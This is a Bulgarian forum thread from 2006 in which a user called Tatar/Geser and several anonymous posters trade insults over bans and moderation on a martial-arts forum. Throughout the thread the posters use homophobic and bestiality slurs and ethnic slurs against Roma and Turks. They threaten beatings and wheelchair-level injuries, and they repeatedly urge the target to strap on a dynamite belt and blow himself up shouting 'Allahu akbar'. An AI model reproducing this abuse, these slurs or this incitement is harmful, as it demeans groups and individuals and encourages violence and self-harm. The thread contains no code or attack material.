А, Татаре, мама, ти пак тук ли ? Май отново си се появил и в Дао-то, ма пак си женску. Явно женският пол повече те влече, туй хубуву. А те трият както са посочили колегите, шот само глупости пишеш. Спират да спорят с тебе, пак щот само глупости пишеш, щом и берсерка отказа, направо не знам... Тука също рано или късно ще те зтрият, само ш им трябва повече време. Хубаво е , че нямат възможности за цветове и размер на шрифта, шот тогаз става страшно, ща забий сърваро. Вземи на сериозно предложението на Оня за динамита, ще помогнеш на много хора и най - вече на себе си. Твой другар Уйки - кики
Anonymous
Tue Mar 28 19:42:19 2006
Отг: Някои истини за теб, Анонимен!
--------------------------------------------------------------------------------
Татарски, аз съм с две висши, а скоро ще стана и с три даже, издигнах ли се в очите ти?
Оженил си се казваш, надявам се, не за козата, нали?
И да не забравя, момче, никой не те е търсил в БГ, защото като беше тук едва се подаваше над тревицата, а сега говорим на висок стил, разпръсваме светлината на прозрението сред невежите, голяма работа. Ама няма как ще ти се радваме и ще те култивираме, един ден и ти човек да станеш, барем...
Да не забравя - "Добруджански" съм, не съм "Анонимко"!
中共
Tue Mar 28 20:55:57 2006
Eфекти ли? редактиране |
--------------------------------------------------------------------------------
"ми прост съм,не кът Гесеро!"
Което ти прави чест, че се самоосъзнаваш като адекватен на себе си в най-красноречивото ти свойство.
"Гесере,шм..ко,пак са праиш на съблазнен и изоставен!Не само Гришата,аз да та видя и аз само с комбали и плюнки ш та бия!Що?Щото с тебе други форми на контактуване са безсмислени...
"
Като гледам шм..ка си ти, че си дошъл тук да развяваш неприличното си поведение, но нейсе. А, което е по-важното, като как достигна до премъдрия извод, че се правя на това и онова?
Освен това на базата на какво преценяваш оптималните форми на общуване с мен?
И последно - как си сигурен, че :
а/ Ще ме видиш
б/ Ще ме биеш?
в/ Че дори и да се случи а/+б/ ще ти се размине отмъщението?
Принципът е следният - ти, примерно, ме биеш, след това идват 5 човека с някакви подръчни материали и те правят да ходиш на колела (вика му се инвалидна количка).
Какъв е смисълът от бабаитлък? (А и си мисля, че цирозата не ти е много далече и някой ден японката ще остава вдовица, ама язък за децата!)
"Интелектуалните бълнувания моеш си ги ... забраиш,щото си влязъл в сайт за БИ и в такъв сайт се говори за БИ,а не за история,поезия и др..."
Бълнувания има при тебе, макар и без прилагателното "интелектуални", понеже то при тебе, под каквато и да е форма, бяга като дяволче от тамян, разбираш ли.
А колкото до това, че било сайт за БИ, а се пишело поезия - кажи го на Берсек. Щото той го пълни с отвртатителни стихове. И отделно - защо и Гришко, барабар със Зорко използва тези небойни теми, за да рекламира как се възбужда от извращения?! Ами гледайте си бойните изкуства и толкоз. Но, явно, ти критикуваш без принцип.
"за тва са създадени други сайтове,ма не са знай дали ше те търпят там..."
Ама то голям проблем било за тебе търпението :) Мойто момченце, аз владея 6 езика и, дори да се свършат БГ-сайтовете мога да пиша в доста други. Понастоящем пиша на български, руски, китайски, английски и татарски. При нужда мога и на корейски да пропиша. А и ти не си ли разбрал, че в живота не всичко се изчерпва със сайтове? ТОва, че има някои зависими, които даже и дневничета си пишат и прекрават 80% от свободното си време в ДАОТО, пред дневника (примерно да напишат как са се напили и как после се налагало жена им и децата да ги изтирват на тренировки!)... ами техен си проблем, ама да ми предпоставяш нет-зависимост както при тях - просто си в много груба грешка попаднал, мойто дете!
"Ти нямаш никъв опит в БИ"
Как реши това? Със същия успех мога да кажа, че ти нямаш ляво ухо и си кривоглед. Трябва ли да се вярва на всяко казване. Да си чувал за ОБОСНОВКА?
"и упорито си решил да просвещаваш състезатели и шампиони по всякви БИ"
ХАХАХА! Къде са тези шампиони, бре? Я посочи някои шампиони. То даже републиканските ви са кът, като гледам! И номерът - "Аз съм в Осака, ама ходих със Сато да се бия срещу Токийския!" не минава! Аз мога да ти кажа, че съм ходил на САНДА в Гуъй Лин с Чжан Йи-Моу, ама трябва ли да се вярва на всичко?
"с изцепки от филмите на Джет Ли"
Гледа ли му последния филм, който е по реална биография? И, да речем, че мога да познавам творчеството и уменията му повече от тебе, нали?
",те за тва те игнорират,не че е на лична основа..."
На лична е, на лична е. Понеже за много неща се оказах прав и няма как да рекат - "Извинявай!" А аз съм се извинявал - нещо, което не се цени и, което беше наречено от нашият скъп Иво - Оня - "посипване на главата с пепел". Помня аз.
"Повечето от интелектуалците дет си ги посочил и те нямат никъв опит в БИ и основно постовете им са свързани с източните езици,култури,кулинарии и сичко друго."
Сериозно ли? Аз пък си мислех, че имат профил, в който можеш да видиш какво тренират. Ти и за Дориян Александров - Доктора ще кажеш, че няма опит, май, а? Ама как пък само ти имаш опит, бе? Не чувстваш ли, че се самонабутваш в абсурдности?
"За тея работи също си има други форуми и те най-вероятно пишат там,а кът съ заинтересуват за нещо свързано с БИ,влизат в даобг и питат..."
И ти ги светваш, нали? Понеже си опитен...Тц-тц-тц, гледай ти с какъв капацитет разговаряме тук. То, наистина, като се замисля много опит има в следната случка казана от тебе:
"Бил съм се с 4-ма японски гамена. По 60 кила. И ги победих, ама и аз целунах дерека!"
Или пък как македонците се изумили, че си съборил чернилката!
"Мноо ясно,че хората събрани на ено място ше искат и за други работи да си лафят,затва са Общите приказки,ма е недопустимо 90% от мненията на юзър в форум за БИ да нямат никва връзка с БИ!"
Ами недопустимо е, при положение, че ТОЛКОВА МНОГО МНЕНИЯ НА ЮЗЪРА СА ИЗТРИТИ!
Утре можете да си поиграете и останалите около 500 да изтриете и ще стане недопустимо да има юзър с 0 мнения, примерно. Играйте си! Вие си плащате, вие си манипулирате. Превърнали сте го в детска градина, където възпитателите са деца, които си играят на големи директори. Но, както забеляза, доста народ ви напусна и сега попълвате с хора по на 11-13 години. Като гледам и други са на път да ви напуснат. Днес четох едно много резонно мнение!
"Дневниците бяха създадени с цел да се намали спама и даде ефект..."
Не си преценил правилно ефекта. Искаш ли да ти посоча примери за спам?
"Чата в даобг е създаден с цел да се намали спама и даде ефект..."
Остава в сила предишния въпрос!
"Контрола беше въведен,шот такива кът тебе зеха да си мислят че моат да влизат кът у дома си и да са цепят по секви въпроси и да са обясняват за права и свободи,кът забраят ква е идеята на сайта и за кво трее са говори основно там!"
Идеята е да си се въртите само своите и да се габаркате с останалите. Ако някой не ви уйдисва - бан! (С много ирационални обяснения и то не само при мен, а и при доста от другите!) Идеята е да се правите на недосегаеми и умници, ама, както се вижда - ИМА И ДРУГИ ФОРУМИ И ТУК НЯМАТЕ ДУМАТА! Изненадан ли си?
"Тва също даде ефект!"
Така си мислиш ти. Ефектът е само по отношение на това, че няма някой като Айрън Фиста, Гальо или мен да ви поставя на мястото за части от секундата. Като част от ефекта можеш да видиш и това, че наистина феноменални хора като ПЛАЦЕБО ви напуснаха даже без да са баннати!
"Ся,знам че уничтожението на даобг ти е фикс идея"
Ама глупости! Аз, ако съм искал това - да е станало. Най-малкото можеше да осведомя тук-таме за фашистките идеийки, които битуват там, лошия език и подстрекателството към насилие (както и даване на идеи за заобикаляне на закон и пр). Ама не искам. И знаеш ли защо? За да има на какво да се веселим. Как иначе ще прочетем нещо толкова свързано с БИ като това как се напиваш с бразилците или не можеш да си стоиш повече от 5 минути на врата, щото ти омръзва, даже и да гледаш телевизия или да слушаш музика. То това е толкова образователно, че направо може да съперничи на философията на Хирохито Кобе!!! Няма майтап! ;)
",та следващия път вместо да ръгаш 15 женски ника и да са обяснааш в либоф на мене,Гришата,Жоро и сичките други знайни и незнайни обекти на мечтите ти"
ЕТО ТОВА Е ЧАСТ ОТ ИДИОТЩИНАТА ВИ! Измисляте си, че съм регнал "Силвия-Татар", сега пък че имало 15, ЗА ДА МОЖЕТЕ ДА СИ ПОДДЪРЖАТЕ халюцинаториката. Въпросът е кой ли ви вярва?!
",земи сложи един колан динамит на кръстя,фащаш жиците и са буаш у сървъро с вика:Алла у акбар!"
Милият той ;-), колко бил "оригинален"!
"от твойта голема либоф Оня"
"ПП.Човекот си е написАл името,ни съ пръй на луд!
"
ТИ изчети последователно постовете и отвори в плосък режим, за да ти е по-лесно, недей да си толкова дървен (имам предвид режима, де) :))))
中共
中共
Tue Mar 28 21:14:34 2006
Отг: Някои истини за теб, Анонимен! редактиране |
--------------------------------------------------------------------------------
"Татарски, аз съм с две висши, а скоро ще стана и с три даже, издигнах ли се в очите ти?"
Майтапчия:))))))))))
"Оженил си се казваш, надявам се, не за козата, нали?"
И тук ли ще започваш да разказваш как с Григор си падате по момчета и по животни? Спри се малко, де!!!
"И да не забравя, момче, никой не те е търсил в БГ, защото като беше тук едва се подаваше над тревицата"
СЕРИОЗНО????????????????? Що ли тогава се видях с Гришата и той НЕ ПОСМЯ ДА СЕ ПРЕДСТАВИ, а след това, дори и след заканите, си посещавах залата на колегите му по ДжКД, без да се притеснявам особено? Я го питай да ти каже! И не е ли от това време притеснението на Ред Дракона, че съм бил опасен и изверг, понеже, видите ли, съм се движел с цяло шило и съм щял да го бодна, ако ме потупа по рамото да ме пита колко е часа? (Постингът беше сериозен).
Не се прави на биограф, не ти отива.
", а сега говорим на висок стил, разпръсваме светлината на прозрението сред невежите, голяма работа."
Стилът ми...на времена е висок, според зависи, дечко!...а за тревата - ХАХАХАХАХАХАХАХАХАХАХАХА, я виж най-големият комплексиран - РЕД ДРАКОН за какво ме е номинирал:/ още откакто съм прописал там!/ Няма да ментиш аудиторията!
" dragon 18.01.2004, 11:43 Мнение #40
задаващ въпроси : ))
Група Mодератори
Мнения 982
Регистрация: 10.07.03
От: София
Потребител No.: 831
Пол: мъжки
БИ: Кендо
Още една номинация за Татар
Цитат
Скачаш на бой на леката категория като мен както виждам,а?Недей,че използвам мръсни източни номера----бъркам в очи,ритам в слабини,натискам смъртоносни точки и нося "бокс",шпрей и едно шило/баба ми го даде-останало от времето на прапрапрапрадядо ми Хубилай-хан/-ще те лежа после по затворите,пък какъвто съм слабичък ще ми спре сърцето там с тези пичове-то поне да беше татарски затвор,а то нашенски - с турчор,циганор и пр. измет там/баси шовинистичното създание съм /
Надявам се , че оценявате риска, който съм поел, да го публикувам
--------------------
Ако искате да научите изкуството на меча, започнете от сърцето
Free your mind, Open your wings, Fly away
kendo.bg
"
И сега какво? След поредното ти опровержение, ще продължиш напред, все едно, че нищо не е станало, нали, Зоофилич?
По-горното, разбира се, е било майтап - изкуствен "шовинизъм" пародиращ някои ултраси, както и измислен прадядо-историческа личност. ;D Разбира се, вече поясних много моменти тук - http://www.seo-forum-seo-luntan.com/other-languages/a-ee-ooe-me-ot-otmate-o/msg48067/#msg48067 (http://www.seo-forum-seo-luntan.com/other-languages/a-ee-ooe-me-ot-otmate-o/msg48067/#msg48067). Като порастнали и помъдрели хора, виждам че много от нас вече не се занимават с такива нецивилизовани неща като призоваване към насилие или саморазправа (доколкото виждам онлайн), та, все пак да заявя, че съм станал все по-голям пацифист (въпреки и това да е вече равносилно на престъпление по някои "законодателства" и не толерирам никакво насилие!)
"Ама няма как ще ти се радваме и ще те култивираме, един ден и ти човек да станеш, барем..."
Божкееее, Дечко Зоофилич ще култивира хора! :)))) Ти знаеш ли значението на думата, бе, Господин "3 висши и половин мозък"?
"Да не забравя - "Добруджански" съм, не съм "Анонимко"!
"
Ами регни се, че да те разпознавам, де! Толкоз ли ти не достига 1/2 -та от сивото вещество?
Anonymous
Tue Mar 28 21:33:15 2006
Отг: Eфекти ли?
--------------------------------------------------------------------------------
Стига си ревал, Татар! Кажи сега, кой е по-велик - ти с висшето си философско образование или аз с моите две? Или да те питам лятото, когато ще станат 3, тъй де, само една защита ми остана... Казвай сега, едно философско образование на колко икономически/технически се равнява? Моля те, продължавай със стила "теза-антитеза", наистина ме забавляваш! Още нещо, понеже си голям фен и познавач на Джет Ли и неговото изкуство, още сега ще му пиша да направи филм, в който да демонстрира "стила на Татара", това ще бъде драма за едно момче, което иска да стане "Гесер-хан", ама става само "поСЕР-хан", разбирай...
Добруджански съм, да не ме пренебрегнеш пак...
中共
Tue Mar 28 21:34:50 2006
Другарчето се е пообъркало... редактиране |
--------------------------------------------------------------------------------
__________
", Татаре, мама, ти пак тук ли ? Май отново си се появил и в Дао-то, ма пак си женску."
ТАКАВА ЛИ Е НОВАТА ЛИНИЯ НА ЖОРЕТО, БЕ? ДА РЕГНЕ НЯКОЙ НИК И ДА ПИШЕ, ЧЕ СЪМ АЗ? АМИ ДОБРЕ - ЩОМ КАЗВАТЕ. МОЖЕ ДАЖЕ И ДА ИЗМИСЛИТЕ СЛЕДНОТО - АЗ СЪМ КРЕАТУРА НА ОНЯ И ТОЙ ПИШЕ КАТО ТАТАР, А СЕГА СЕ ПРАВИ НА ЖЕНА или на "ЖЕНСКУ", както си писал.
"Явно женският пол повече те влече, туй хубуву."
АМИ ДА, ВЛЕКАТ МЕ ЖЕНИТЕ, А НЕ МЪЖЕТЕ. ВЯРНО Е, ЧЕ В ДАОТО ИМА ДОСТА МЪЖЕ, КОИТО СЕ ВЛЕКАТ ОТ МЪЖЕ. ЗА КАКВО МИСЛИШ, ЧЕ ПРАКТИКУВАТ ОСНОВНО ГРАПЛИНГ? АМИ ЗА "ФУЛ-КОНТАКТ"! ИНАЧЕ В БГ да не е станало позорно да те влече женския пол?
"А те трият както са посочили колегите, шот само глупости пишеш."
Да, понеже така са ти казали ;) Ти директно постигна мечата на всеки енциклопедист! С една лаконична постановка да изясниш същността на толкова много явления (в случая постингите). Браво! Гениално! Засужаваш награда! Например - граплинг среща с онези, дето не ги влекат жените, като мене!
"Спират да спорят с тебе, пак щот само глупости пишеш, щом и берсерка отказа, направо не знам... "
Само за едно съм съгласен - Берсекът е най-несведущ. Иначе за мотивацияа им - не си оцелил, ама никак! Те не са от тези, които ще спрат току-тъй!
ХАйде, да предположим, за секундичка, че си прав. Значи трябва да са си изградили някаква установка за мене. И ОТ КАКЪВ ЗОР ИДВАТ ДА СЕ ПРОБВАТ ПАК?!
Нещо да ти говори това?
"Тука също рано или късно ще те зтрият, само ш им трябва повече време."
Не пророкувай, че да не те хване рака като баба Ванга - пророчицата и да си идеш на млади години (тя поне си поживя повечко, че даже и с Кирсан Илюмжинов се срещна!).
"Хубаво е , че нямат възможности за цветове и размер на шрифта, шот тогаз става страшно, ща забий сърваро."
Няма единствено ИНТЕЛЕКТ у теб, за да направиш един елементарен цвят, човече!А болд, харесва ли ти?
"Вземи на сериозно предложението на Оня за динамита, ще помогнеш на много хора и най - вече на себе си."
По тази логика, ти ще сториш най-алтруистичното дело, ако го изпълниш самичък.
Понеже имаш нужда от анихилация, както ми се струва :) Нямало възможности за цветове и размер на шрифта, а?:)
"Твой другар Уйки - кики"
Според ника ти, разбирам че си от тези, които не се влекат по жени, другарю!
Я виж Китай колко се развива под грижите на Великата Китайска Комунистическа Партия и не говори празни приказки:
Сега какво? И снимки ли ще се учудиш, че могат да се слагат тук, Малоумов?
______________
Наздраве!
中共
Tue Mar 28 21:48:07 2006
Отг: Забегналият се завърнал? редактиране |
--------------------------------------------------------------------------------
":D
Ба,тва яроста на Гесера не познава скоростни граници-га успе да надращиш 5 поста ве?"
Няма ярост, батка! Живо удоволствие си е да ви громя наред. Лошото е, че някои от вас са толкова зле с примитивната анатомия на Централната си нервна система, че даже и да ги убия от аргументация, докато разберат, че са умрели ще минат 2 дена (толкова е нужно, за да се придвижи информацията до мозъците им, разбираш ли ме, значи...)
"Ся,язе не сум бегал в Япония да се пишем японец!Тва външна политика и други ръбове са ми през ...я!"
То това да излезнеш от България (и да успееш, което е по-важното) си е едно от безспорните ти постижения. Иначе за политиката - хм, хубаво! Поне няма да си имаш главоболия. Колкото повече знаеш, толкова повече няма да ти е рахат! Карай така, по-добре! ;)
"Дошъл съм пари да прая,да тренирам и да пия(и трите по много!!!)."
За пиенето ти вярвам не на 100, а на 101%! За парите и тренировките - ти си знаеш! Няма да коментирам за неща, които не са ми познати, за да не изпадам в положението на някои симпатяги от ДАОТО. Ти видя ли как тука не можело да се правят цветове ? ;)
"Дъл ши падни некой метеорит утре и ши мъ изчигъртъ от планетата...неам време да са депресирам по подобни въпроси..."
Е, чак пък метеорити сега :)))
"Дянков го чекаме от миналата година кът Царя Освободител да доди да ми скини гръбнака и да побий байрака!"
Дянков е якичък, спор няма. И е старо куче! Щом и, както го наричате, "Шампиона на ДАОБГ" - Григорчо подви опашка, когато Дянков се появи, считай за какво иде реч. Ама това, че не се е появил в Япония не е хубаво!
"Гесере,ни съ ври дет никой ни тъ и викал!Нъл наиш ко стаа кът са вреш между два ...я?И двата ги идеш после..."
БРЯЯЯЯЯЯЯЯЯЯ, КАКЪВ ОПИТ СИ ИМАЛ! А, ВСЕ ПАК, СИ ЕДНА ГОДИНА ПО-МАЛЪК ОТ МЕНЕ! Но те хората са го казали - "Не питай старило, а патило!" Цели 2 си ял после... ауууууууууууу! То това по-гадно от онзи случай, дето негър ти повърнал кръв в устата и си се уплашил от СПИН, БРЯ!
"Аре със здраве от твойта голема либоф бай Оня"
И на тебе и ограничи туй пусто пиене, че ти казвам - ако преди си бил сам за себе си , сега дечица имаш - длъжен си им!
Хайде стига толкова, че май взех да говоря като някой стар наставник!
中共
Tue Mar 28 22:01:54 2006
Отг: Eфекти ли? редактиране |
--------------------------------------------------------------------------------
"Стига си ревал, Татар!"
Халюцинирай си, не ми пречиш, Ръбич!
"Кажи сега, кой е по-велик - ти с висшето си философско образование или аз с моите две?"
Какво две имаш? Кози ли? Или котки? (Щото за отявлен зоофил смятам, че отглеждаш нящо такова).
"Или да те питам лятото, когато ще станат 3, тъй де, само една защита ми остана..."
Какво ще защитаваш? Задния двор от циганите ли?
"Казвай сега, едно философско образование на колко икономически/технически се равнява?"
Техническото и/или икономическото образование е ТЯСНА СПЕЦИАЛИЗАЦИЯ. А, както се знае - тясната специализация е широка кретенизация!
Въпреки всичко, дай, ако смяташ, че си икономист да те попрепитам малко на икономика, искаш ли?
- Какво отразява Гини-индекса? И, ако е приблизително-равен на 1 какво значи?
- Кое е по-важно за състоянието на държавата - АБСОЛЮТНИЯ БВП или ПЕР КАПИТАТА?
Ако БВП - ЗАЩО? АКО ПЕР КАПИТА - ЗАЩО?
- КАКВО Е "ДЕФЛАЦИЯ"?
"Моля те, продължавай със стила "теза-антитеза", наистина ме забавляваш!"
Хъхъхъхъ >:) Младежо, най-важното е СИНТЕЗАТА, която ти не възприемаш. И няма как ,след като не си и чувал за СНЕМАНЕ /справка - Хегел/.
"Още нещо, понеже си голям фен и познавач на Джет Ли и неговото изкуство, още сега ще му пиша да направи филм, в който да демонстрира "стила на Татара", това ще бъде драма за едно момче, което иска да стане "Гесер-хан", ама става само "поСЕР-хан", разбирай..."
НОВИНА - Джет Ли вече спира да прави филми с Бойни изкуства и ще се отдаде на романтични филми. Затова предлагам аз, като по-навътре с китайския да му дам проектосценарий не за драма, а за ТРАГЕДИЯ как едно дебилче иска да стане Добруджанче, ама става само добруджански зоофил. Не е ли добра идейката?
"Добруджански съм, да не ме пренебрегнеш пак..."
Това може да си го спестиш, ако се регнеш! Регистрацията дава някои предимства като например това да получаваш лични съобщения.
И ще можеш да си сложиш любимия скелет. Изсъхнал и обезмесен, безмозъчен...Добра картинка си си избрал!
Anonymous
Tue Mar 28 22:19:08 2006
Отг: Eфекти ли?
--------------------------------------------------------------------------------
Само така Гесер!М..мка им капиталистическа!Ше видят те отде изгрева червената зора!
И такива граплинзи и други пехливанлъци да си ги неаме,тва е само за гейове!САМО УШУ,Джет Ли и китайска бира!Ше си губят времето да та търсят...Кого ше фанат?Великия нинджа?Ученика на Джет Ли?Ма те луди ли са?Ти с големия си опит мое и да загубиш,ма страшно нема!Ако загубиш,губиш само себе си!Кът спечелиш...печели...де да знам кой!Пращай им бригади и ги пръй на колички!Нема 6-5!...Ма ти имаш ли кой да пратиш?...Ае да н тъ мислим,тва целия конен народ на Монголия барбар с юртите и Асашорю ше са включи ако трее,де ш ти са опре некво даобг?Не мое ти стъпят на нокътя!Ти,с 6те езика,24те пръста и другите анатомически особености...некой претърпели хирургически изменения...Кви са тея?Некви абдали,не са помирисвали състезание от километър!Да не са кът бай Доката?!Ей тва е Учител велик-историк,сенсей,сифу...(ае не ти ли минава през акъла,че злепоставяш човека-що си мислиш той не предявява претенции да е облагодетелстван от...взаимоотношенията ви?)
Бой по кратуните!Ако динамитя не стигне,ш повикаме братски Китай на помощ!Никъв нет!Банове,цензура,пандиз и разстрел!...на фона на татарска музика!Ако трее и ти ше помогнеш!Я как разпраяше че си умел на пилона!И гордънс тоник!вЪрти гьобека,м..ка им и душмани!
От твоята голема лебоф Оня
Anonymous
Tue Mar 28 22:29:30 2006
Отг: Забегналият се завърнал?
--------------------------------------------------------------------------------
някои хора явно имат безкрайно много свободно време .. и безкрайно малко неща за вършене ...
аз лично се старая да сведа времето, посветено на нeщата извън своя кръг на влияние, до 0 (нула)... не знам за вас ...
поздрави ot Hamburg
P.P. второто изявление не се отнася до хората, които го правят за забавление :-)
中共
Tue Mar 28 22:53:49 2006
Много си прав за някои работи, сега само ще доуточня: редактиране |
--------------------------------------------------------------------------------
1. "Само така Гесер!М..мка им капиталистическа!Ше видят те отде изгрева червената зора!
"
Ами да. Китай догодина ще е на първо място в света по валутен и златен резерв.
Има третата по сила и ефективност армия в света.
Най-новите ядрени ракети вече достигат до Нова Зеландия, Австралия, както и по-голямата част на САЩ и Европа.
По Брутен продукт е на второ място след САЩ.
2." такива граплинзи и други пехливанлъци да си ги неаме,тва е само за гейове!"
Прилагам снимкu от пехливанлъка в класическия му вид, а ти сам прецени кое какво е:
A eто го и У-Шуто:
Изводи?
3."Ше си губят времето да та търсят...Кого ше фанат?Великия нинджа?Ученика на Джет Ли?Ма те луди ли са?Ти с големия си опит мое и да загубиш,ма страшно нема!Ако загубиш,губиш само себе си!Кът спечелиш...печели...де да знам кой!Пращай им бригади и ги пръй на колички!Нема 6-5!..."
Определено! Не знам дали четеш новини, но по принцип става така - смилат някой от бой, след това се намират приятели, роднини, съседи и даже цигани, които хващат кой дърво, кой желязо и тогава няма граплинг-мраплинг-браплинг - само потрошени кости, а понякога и разлят мозък (не е много приятна картинка).
4."Ма ти имаш ли кой да пратиш?..."
Нямам.
"Ае да н тъ мислим,тва целия конен народ на Монголия барбар с юртите и Асашорю ше са включи ако трее,де ш ти са опре некво даобг?"
Ама защо, бе? Няма нужда!
"Не мое ти стъпят на нокътя!Ти,с 6те езика,24те пръста и другите анатомически особености..."
Е, хайде сега, нали ТИ ПОЧНА ПЪРВИ КАК СИ ВЛАДЕЕЛ НЯКОЛКО ЕЗИКА НА НИВО "НЕЙТИВ СПИЙКЪР" (така го каза, за да е по-авторитетно), пък после с толкова много езици се оказа, че "НЯМА СМИСЪЛ ДА СИ ТРЕНИРАМ КРАКАТА, ПОНЕЖЕ ЦЯЛ ДЕН ПРЕКРАВАМ НА КРАК!"
"некой претърпели хирургически изменения..."
Претърпял хирургически изменения е само мозъкът ти, но не е ясно дали е от реално вмешателство, дали е ОТ ВЕЛИКО ТЪРНОВО, когато са те съборили на земята и са те били и ритали по тикварника или е генетично.
"Кви са тея?Некви абдали,не са помирисвали състезание от километър!"
АМИ ДА, КАТО НЕ ПОЗНАВАТ САТО, ТАКА СТАВА! :))))))))
"Да не са кът бай Доката?!Ей тва е Учител велик-историк,сенсей,сифу..."
Ами има си сайт - погледни го. Поне виж на снимката какво е станало с латиноамерикански каратист, пък после приказвай!
"(ае не ти ли минава през акъла,че злепоставяш човека-що си мислиш той не предявява претенции да е облагодетелстван от...взаимоотношенията ви?)"
Ние с него не сме се виждали никога, ама за тебе с оня Кавказкия турчин не съм сигурен. Обърни внимание на връзката:
ОНЯ-ПЕЙЛИВАН ---------- турската мазна борба (снимчиците) ----------- търкиш френд!!!
Намирисва ми на нещо като ..."взаимоотношение".
"Бой по кратуните!Ако динамитя не стигне,ш повикаме братски Китай на помощ!"
То гледай братски Китай да не дойде самичък, щото, колкото и да не искам да ти нарушавам рахатлъка, ако външнополитическата линия на 4-те острова остане такава, може да се сбъднат някои гифчета, дето тука са модерни:
"Никъв нет!Банове,цензура,пандиз и разстрел!..."
TOВА В ДАОТО! Правилно си го обрисувал!
"на фона на татарска музика!Ако трее и ти ше помогнеш!Я как разпраяше че си умел на пилона!"
Кой е разправял, че е умел на пилона? Ти се бъркаш с някой от твоите приятели. Нали ти си все по баровете, явно си се объркал.
"И гордънс тоник!вЪрти гьобека,м..ка им и душмани!
От твоята голема лебоф Оня"
:) Смехории :)
Изпя ли си лебедовата песничка?
Anonymous
Tue Mar 28 22:54:19 2006
Отг: Eфекти ли?
--------------------------------------------------------------------------------
А,забраих!
На тва за цирозата ше отговорим с:
"...Ако умра,ил загина
Немой да ме жалите!
Напийте се с руйно вино
Строшите ги чашите!..."
Поздрави от твоята голема лебоф Оня
中共
Tue Mar 28 23:14:33 2006
Отг: Eфекти ли? редактиране |
--------------------------------------------------------------------------------
ХА :)
Ама ти вярно започна да пееш! :)))
Ех, на бате лебедчето, пее си лебедовата песничка!
=
Anonymous
Tue Mar 28 23:27:28 2006
снимката с южноамериканския каратист
--------------------------------------------------------------------------------
за снимката с южноамериканския каратист има няколко версии:
1) подхлъзнал се е и е паднал докато е гонил Доката, който точно се обръща да погледне защо вече не го бият (но това не е много правдоподобно, имайки предвид какъв страшен боец е Док)
2) латиното всъщност е граплер и чака Док да му дойде в гарда
3) първоначалната идея била да се организира двубой между Доктора (каратист) и състезател по САМБО ... поради адамянстративни неуредици и грешки обаче бил поканен състезател по САМБА
поздрави от Хамбург
Anonymous
Tue Mar 28 23:38:14 2006
Отг: Много си прав за някои работи, сега само ще доуточня:
--------------------------------------------------------------------------------
Та както казваш за Китай, поСЕР-хан,"По Брутен продукт е на второ място след САЩ". Ама я да те питам - БВП по абсолютна стойност или "ПЕР КАПИТА"(както неправилно го произнасят недоучилите английски език)? И, цитирам, "Кое е по-важно за състоянието на държавата - АБСОЛЮТНИЯ БВП или ПЕР КАПИТАТА"? Набута ли се самичък, смешник:)?
Това, че се опитваш да ме изпитваш с въпросчета от Обща икономическа теория или(най-вероятно) сляпо копирани от някой сайт е приемливо - все пак ти си умен, а аз глупав. Но да се пързулнеш сам в два поредни поста е доста тъпичко, не мислиш ли, о, хане мой? Все пак ти ми кажи: кое е по-важно "GDP" или "GDP per capita"? Отговорът е очевиден за всеки първи курс във УНСС, но понеже изтъкваш, че Китай е на второ място по БВП, много бих желал да чуя кой имаш предвид(щото по GDP per capita са дори след България), за да вникна в дълбочината на твоите икономически познания. Сега и колегите в офиса се забавляват като ти четат писанията, палячо! Благодаря ти от все сърце за прекрасната вечер:)
Чакам отговор!
Anonymous
Tue Mar 28 23:54:57 2006
Отг: Много си прав за някои работи, сега само ще доуточня:
--------------------------------------------------------------------------------
Ко стана, поСЕР, търсиш из книжките и нета какво да ми отговориш ли? Хареса ли ти как се наака самичък, така е в бързината, понякога не успяваш да събуеш гащичките... Казвай, степна фурийке(по нашему "свирчо"), кое е по-важно - абсолютен или per capita?
Anonymous
Wed Mar 29 00:08:19 2006
Отг: Много си прав за някои работи, сега само ще доуточня:
--------------------------------------------------------------------------------
ако пипиташ още веднъж, ще взема да отговоря аз - нищо, че съм сред най-неерудираните тук със своето половин инжинерно и начално хранително, които пък даже не са по темата ...
не му давай зор на момчето - това, че пише бързо и по цял ден изобщо не означава, че чете бързо и има навика да го прави ... недей с лошо
Хамбург
Anonymous
Wed Mar 29 00:53:54 2006
Отг: Eфекти ли?
--------------------------------------------------------------------------------
Гесерка,я има кажи на тез простаци за ко стаа въпрос!Те от некви капиталистически букварчитъ съ чели,не знаят за кво стаа въпрос в братски Китай!Кажи им ти как са изкореняват сички човешки недъзи,пороци и прочие,батка!Мен ни мъ мисли.Мене алкоголя ши мъ довърши без времи,ма ш та замола да са грижиш за дякята,ш ти ги пратъ да ги гледаш с учителската заплата(ае ти толкоз нет как ше го плащаш неска ве?) и да ги учиш да н стаат кът тоз мръсник баща им!Никъв алкоголь!И никви бурби!В таз връзка,аз отдавна исках да ти призная мой,по та харесвам кът Силвето!Да земиш пак да съ върниш към туй ти амплоа,чи да си поговорим за пейливанлък,чи да зема аз ена бака зихтин,чи кът тъ залея,чи кът...Чай чи мноо са размечтах,ма како!
Пък мое и кът Чинчеро!Тя поне гюбеци на пилона умееши!Че и гордънс тоник пийваши!Ех,ей тва е жинъ!Де избегаха сите...
Ма аз съм оптимист!Ти пак ши съ върниш!С по-добър ъпгрейд(виж,нявгъж използвами и по-сложни думички!)!И с всеки бан,все по-съвършена си ставаш!Накрай на арбия ши удариш скалпеля!Що?Щото за вярата бронебойни патрони нема открити!Дерзай,мила!Е-е-ех...чи ми иди да съ нАпия...да си рАскъсъм ризата...и да са мАана от тоз живот!
от вечно твойта голема либоф Оня
bat_lamboo
Wed Mar 29 02:14:45 2006
виж кво
--------------------------------------------------------------------------------
това не е държавен сайт, който трябва да бъде демократичен или нещо такова. Това е ЧАСТЕН сайт и има правила. Като не спазваш правилата хвърчиш, другите не са ти извинение за твоите постъпки. Тоя дето цитира ако се държи така си е негова работа. Ти имаш избора да не посещаваш този сайт.
А за мненията на Татар- тоя просто е открил нови хоризонти на простотията. Цял Христофор Колумб на Глупостта. По-голям кретен едва ли може да се намерил на северното полукълбо. Мисля че не го трият, защото неговите мнения обикновено пораждат толкова смях и съжаление, за колкото и най-добрите комици биха могли да си мечтаят.
中共
Wed Mar 29 08:36:15 2006
Отг: Много си прав за някои работи, сега само ще доуточня: редактиране |
--------------------------------------------------------------------------------
"Та както казваш за Китай, поСЕР-хан"
Посер, ама без хан, е мозъчето ти, което мъдри разни такива нещица, Глупи, а сега да видим конкретно дивотийките ти:
","По Брутен продукт е на второ място след САЩ". Ама я да те питам - БВП по абсолютна стойност или "ПЕР КАПИТА"(както неправилно го произнасят недоучилите английски език)?"
